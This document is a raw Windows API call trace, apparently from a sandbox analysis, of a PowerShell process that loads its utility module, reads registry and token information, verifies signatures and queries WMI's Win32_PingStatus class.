[0133.889] ReadFile (in: hFile=0x580, lpBuffer=0x271ba94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fccd8, lpOverlapped=0x0 | out: lpBuffer=0x271ba94*, lpNumberOfBytesRead=0x59fccd8*=0x778, lpOverlapped=0x0) returned 1 [0133.889] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fccac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fccac*=0) returned 0x7778 [0133.889] ReadFile (in: hFile=0x580, lpBuffer=0x271b1a0, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x59fccd8, lpOverlapped=0x0 | out: lpBuffer=0x271b1a0*, lpNumberOfBytesRead=0x59fccd8*=0x0, lpOverlapped=0x0) returned 1 [0133.889] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fccac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fccac*=0) returned 0x7778 [0133.889] ReadFile (in: hFile=0x580, lpBuffer=0x271ba94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fccd8, lpOverlapped=0x0 | out: lpBuffer=0x271ba94*, lpNumberOfBytesRead=0x59fccd8*=0x0, lpOverlapped=0x0) returned 1 [0133.890] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59fcc40, Length=0x20, ResultLength=0x59fccb0 | out: SystemInformation=0x59fcc40, ResultLength=0x59fccb0*=0x0) returned 0xc0000003 [0133.890] GetSystemInfo (in: lpSystemInfo=0x59fccbc | out: lpSystemInfo=0x59fccbc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0133.890] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fcc4c | out: phkResult=0x59fcc4c*=0x57c) returned 0x0 [0133.890] RegQueryValueExW (in: hKey=0x57c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59fcc68, lpData=0x0, lpcbData=0x59fcc64*=0x0 | out: lpType=0x59fcc68*=0x0, lpData=0x0, lpcbData=0x59fcc64*=0x0) returned 0x2 [0133.890] RegCloseKey (hKey=0x57c) returned 0x0 [0133.890] CloseHandle (hObject=0x580) returned 1 [0134.674] CoCreateGuid (in: pguid=0x59fcd80 | out: pguid=0x59fcd80*(Data1=0xd0615bb0, Data2=0xd4a7, Data3=0x460f, Data4=([0]=0x98, [1]=0xac, [2]=0xa0, [3]=0xcc, [4]=0xc4, [5]=0x14, [6]=0x7b, [7]=0xcd))) returned 0x0 [0134.675] GetTokenInformation (in: TokenHandle=0x578, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x59fcd4c | out: TokenInformation=0x0, ReturnLength=0x59fcd4c) returned 0 [0134.675] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x5cc1160 [0134.675] GetTokenInformation (in: TokenHandle=0x578, TokenInformationClass=0x8, TokenInformation=0x5cc1160, TokenInformationLength=0x4, ReturnLength=0x59fcd4c | out: TokenInformation=0x5cc1160, ReturnLength=0x59fcd4c) returned 1 [0134.675] LocalFree (hMem=0x5cc1160) returned 0x0 [0134.675] GetTokenInformation (in: TokenHandle=0x578, TokenInformationClass=0x9, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x59fcd4c | out: TokenInformation=0x0, ReturnLength=0x59fcd4c) returned 0 [0134.676] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x5cc1160 [0134.676] GetTokenInformation (in: TokenHandle=0x578, TokenInformationClass=0x9, TokenInformation=0x5cc1160, TokenInformationLength=0x4, ReturnLength=0x59fcd4c | out: TokenInformation=0x5cc1160, ReturnLength=0x59fcd4c) returned 1 [0134.676] LocalFree (hMem=0x5cc1160) returned 0x0 [0134.676] CheckTokenMembership (in: TokenHandle=0x578, SidToCheck=0x27bb438*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x59fcd64 | out: IsMember=0x59fcd64) returned 1 [0134.680] QueryPerformanceCounter (in: lpPerformanceCount=0x59fcaf0 | out: lpPerformanceCount=0x59fcaf0*=1177565714133) returned 1 [0134.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0134.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0134.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fc7dc) returned 1 [0134.680] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x59fcaa0 | out: lpFileInformation=0x59fcaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0134.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fc7d8) returned 1 [0134.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0134.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0134.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0134.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0134.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fc770) returned 1 [0134.681] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x59fca34 | out: lpFileInformation=0x59fca34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0134.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fc76c) returned 1 [0134.681] CoTaskMemAlloc (cb=0x10) returned 0x5ce69e8 [0134.681] CoTaskMemAlloc (cb=0x10) returned 0x5cf6b90 [0134.681] CoTaskMemAlloc (cb=0xe4) returned 0x720ec0 [0134.681] CoTaskMemAlloc (cb=0x30) returned 0x71d610 [0134.681] WinVerifyTrust () returned 0x800b0100 [0134.691] CoTaskMemFree (pv=0x5ce69e8) [0134.691] CoTaskMemFree (pv=0x71d610) [0134.691] CryptCATHandleFromStore () returned 0x6ea1e0 [0134.691] WTHelperGetProvSignerFromChain () returned 0x0 [0134.691] CoTaskMemAlloc (cb=0x10) returned 0x5ce69e8 [0134.691] CoTaskMemAlloc (cb=0x30) returned 0x71d610 [0134.691] WinVerifyTrust () returned 0x0 [0134.692] CoTaskMemFree (pv=0x71d610) [0134.692] CoTaskMemFree (pv=0x5ce69e8) [0134.692] CoTaskMemFree (pv=0x720ec0) [0134.692] CoTaskMemFree (pv=0x5cf6b90) [0134.699] CoCreateGuid (in: pguid=0x59fc9cc | out: pguid=0x59fc9cc*(Data1=0x4599bebf, Data2=0x8da3, Data3=0x43b2, Data4=([0]=0xa6, [1]=0x18, [2]=0x5d, [3]=0xb1, [4]=0xe1, [5]=0xf9, [6]=0x54, [7]=0x36))) returned 0x0 [0134.699] CoCreateGuid (in: pguid=0x59fc9cc | out: pguid=0x59fc9cc*(Data1=0x6cc1128, Data2=0xffe3, Data3=0x4f23, Data4=([0]=0x94, [1]=0x5e, [2]=0xc9, [3]=0x22, [4]=0x4c, [5]=0xe4, [6]=0x8a, [7]=0x92))) returned 0x0 [0134.700] CoCreateGuid (in: pguid=0x59fc9cc | out: pguid=0x59fc9cc*(Data1=0x29aab267, Data2=0x3d95, Data3=0x4353, Data4=([0]=0x8e, [1]=0x88, [2]=0x48, [3]=0x20, [4]=0x5c, [5]=0xee, [6]=0x4f, [7]=0xb7))) returned 0x0 [0134.700] CoCreateGuid (in: pguid=0x59fc9cc | out: pguid=0x59fc9cc*(Data1=0x14bb6afc, Data2=0x4b35, Data3=0x4937, Data4=([0]=0x97, [1]=0xd7, [2]=0x90, [3]=0xca, [4]=0x26, [5]=0x90, [6]=0xe, [7]=0xae))) returned 0x0 [0134.703] CoCreateGuid (in: pguid=0x59fc9cc | out: pguid=0x59fc9cc*(Data1=0x59515546, Data2=0x818d, Data3=0x4fa8, Data4=([0]=0x8a, [1]=0x3b, [2]=0xd1, [3]=0x7b, [4]=0x49, [5]=0x8f, [6]=0x6e, [7]=0x15))) returned 0x0 [0134.703] CoCreateGuid (in: pguid=0x59fc9cc | out: pguid=0x59fc9cc*(Data1=0x2f7d25f6, Data2=0x744a, Data3=0x431c, Data4=([0]=0x9f, [1]=0xa1, [2]=0x26, [3]=0x68, [4]=0x12, [5]=0x42, [6]=0xd5, [7]=0xbd))) returned 0x0 [0134.933] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fdd24 | out: phkResult=0x59fdd24*=0x57c) returned 0x0 [0134.933] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x0, lpcbData=0x59fdd40*=0x0 | out: lpType=0x59fdd44*=0x1, lpData=0x0, lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.933] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x27d91d0, lpcbData=0x59fdd40*=0x56 | out: lpType=0x59fdd44*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.933] RegCloseKey (hKey=0x57c) returned 0x0 [0134.934] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fdd24 | out: phkResult=0x59fdd24*=0x57c) returned 0x0 [0134.934] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x0, lpcbData=0x59fdd40*=0x0 | out: lpType=0x59fdd44*=0x1, lpData=0x0, lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.934] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x27d94e4, lpcbData=0x59fdd40*=0x56 | out: lpType=0x59fdd44*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.934] RegCloseKey (hKey=0x57c) returned 0x0 [0134.934] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fdd24 | out: phkResult=0x59fdd24*=0x57c) returned 0x0 [0134.934] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x0, lpcbData=0x59fdd40*=0x0 | out: lpType=0x59fdd44*=0x1, lpData=0x0, lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.934] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x27d97e0, lpcbData=0x59fdd40*=0x56 | out: lpType=0x59fdd44*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.935] RegCloseKey (hKey=0x57c) returned 0x0 [0134.935] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fdd24 | out: phkResult=0x59fdd24*=0x57c) returned 0x0 [0134.935] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x0, lpcbData=0x59fdd40*=0x0 | out: lpType=0x59fdd44*=0x1, lpData=0x0, lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.935] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x27d9adc, lpcbData=0x59fdd40*=0x56 | out: lpType=0x59fdd44*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.935] RegCloseKey (hKey=0x57c) returned 0x0 [0134.935] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fdd24 | out: phkResult=0x59fdd24*=0x57c) returned 0x0 [0134.935] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x0, lpcbData=0x59fdd40*=0x0 | out: lpType=0x59fdd44*=0x1, lpData=0x0, lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.935] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x27d9df0, lpcbData=0x59fdd40*=0x56 | out: lpType=0x59fdd44*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.936] RegCloseKey (hKey=0x57c) returned 0x0 [0134.936] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fdd24 | out: phkResult=0x59fdd24*=0x57c) returned 0x0 [0134.936] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x0, lpcbData=0x59fdd40*=0x0 | out: lpType=0x59fdd44*=0x1, lpData=0x0, lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.936] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x27da104, lpcbData=0x59fdd40*=0x56 | out: lpType=0x59fdd44*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.936] RegCloseKey (hKey=0x57c) returned 0x0 [0134.936] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fdd24 | out: phkResult=0x59fdd24*=0x57c) returned 0x0 [0134.936] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x0, lpcbData=0x59fdd40*=0x0 | out: lpType=0x59fdd44*=0x1, lpData=0x0, lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.936] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd44, lpData=0x27da400, lpcbData=0x59fdd40*=0x56 | out: lpType=0x59fdd44*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fdd40*=0x56) returned 0x0 [0134.936] RegCloseKey (hKey=0x57c) returned 0x0 [0134.937] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fdd70 | out: phkResult=0x59fdd70*=0x57c) returned 0x0 [0134.937] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd90, lpData=0x0, lpcbData=0x59fdd8c*=0x0 | out: lpType=0x59fdd90*=0x1, lpData=0x0, lpcbData=0x59fdd8c*=0x56) returned 0x0 [0134.937] RegQueryValueExW (in: hKey=0x57c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd90, lpData=0x27da708, lpcbData=0x59fdd8c*=0x56 | out: lpType=0x59fdd90*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fdd8c*=0x56) returned 0x0 [0134.937] RegCloseKey (hKey=0x57c) returned 0x0 [0134.937] CoTaskMemAlloc (cb=0x20c) returned 0x6f5c68 [0134.937] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x6f5c68 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0134.938] CoTaskMemFree (pv=0x6f5c68) [0134.938] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0134.938] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0134.938] EtwEventActivityIdControl () returned 0x0 [0134.938] SetEvent (hEvent=0x56c) returned 1 [0134.938] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe0cc*=0x56c, lpdwindex=0x59fdef0 | out: lpdwindex=0x59fdef0) returned 0x0 [0134.939] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe060, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0134.939] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fe1c4 | out: lpConsoleScreenBufferInfo=0x59fe1c4) returned 1 [0134.939] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fe1c4 | out: lpConsoleScreenBufferInfo=0x59fe1c4) returned 1 [0135.089] EtwEventActivityIdControl () returned 0x0 [0135.089] EtwEventActivityIdControl () returned 0x0 [0135.090] EtwEventActivityIdControl () returned 0x0 [0135.092] EtwEventActivityIdControl () returned 0x0 [0135.092] EtwEventActivityIdControl () returned 0x0 [0135.092] EtwEventActivityIdControl () returned 0x0 [0135.239] QueryPerformanceCounter (in: lpPerformanceCount=0x59fe194 | out: lpPerformanceCount=0x59fe194*=1177621598852) returned 1 [0135.454] QueryPerformanceCounter (in: lpPerformanceCount=0x59fe15c | out: lpPerformanceCount=0x59fe15c*=1177643151714) returned 1 [0136.510] EtwEventWriteTransfer () returned 0x0 [0136.682] QueryPerformanceCounter (in: lpPerformanceCount=0x59fe670 | out: lpPerformanceCount=0x59fe670*=1177765948890) returned 1 [0136.707] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x57c [0136.707] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3c8 | out: puCount=0x59fe3c8*=0x2) returned 0x0 [0136.707] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3c4*=0xf, pszText=0x0) returned 0x0 [0136.707] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3c4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.708] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe3c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2813ef4*=0, plFlavor=0x2813ef8*=0 | out: pVal=0x59fe3c4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2813ef4*=8, plFlavor=0x2813ef8*=64) returned 0x0 [0136.708] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.708] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.708] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe3cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2813ef4*=8, plFlavor=0x2813ef8*=64 | out: pVal=0x59fe3cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2813ef4*=8, plFlavor=0x2813ef8*=64) returned 0x0 [0136.708] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.708] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.708] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3c8 | out: puCount=0x59fe3c8*=0x2) returned 0x0 [0136.708] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3c4*=0xf, pszText=0x0) returned 0x0 [0136.708] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3c4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.708] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe3c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2813f90*=0, plFlavor=0x2813f94*=0 | out: pVal=0x59fe3c4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2813f90*=8, plFlavor=0x2813f94*=64) returned 0x0 [0136.708] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.708] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.708] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe3cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2813f90*=8, plFlavor=0x2813f94*=64 | out: pVal=0x59fe3cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2813f90*=8, plFlavor=0x2813f94*=64) returned 0x0 [0136.709] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.709] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.709] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3c8 | out: puCount=0x59fe3c8*=0x2) returned 0x0 [0136.709] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3c4*=0xf, pszText=0x0) returned 0x0 [0136.709] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3c4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.709] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59fe3c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28140ec*=0, plFlavor=0x28140f0*=0 | out: pVal=0x59fe3c4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea010*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6238, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28140ec*=8200, plFlavor=0x28140f0*=64) returned 0x0 [0136.709] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59fe3cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28140ec*=8200, plFlavor=0x28140f0*=64 | out: pVal=0x59fe3cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6238, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28140ec*=8200, plFlavor=0x28140f0*=64) returned 0x0 [0136.709] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3c8 | out: puCount=0x59fe3c8*=0x2) returned 0x0 [0136.709] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3c4*=0xf, pszText=0x0) returned 0x0 [0136.709] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3c4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.710] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe3c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2814354*=0, plFlavor=0x2814358*=0 | out: pVal=0x59fe3c4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2814354*=8, plFlavor=0x2814358*=64) returned 0x0 [0136.710] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.710] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.710] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe3cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2814354*=8, plFlavor=0x2814358*=64 | out: pVal=0x59fe3cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2814354*=8, plFlavor=0x2814358*=64) returned 0x0 [0136.710] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 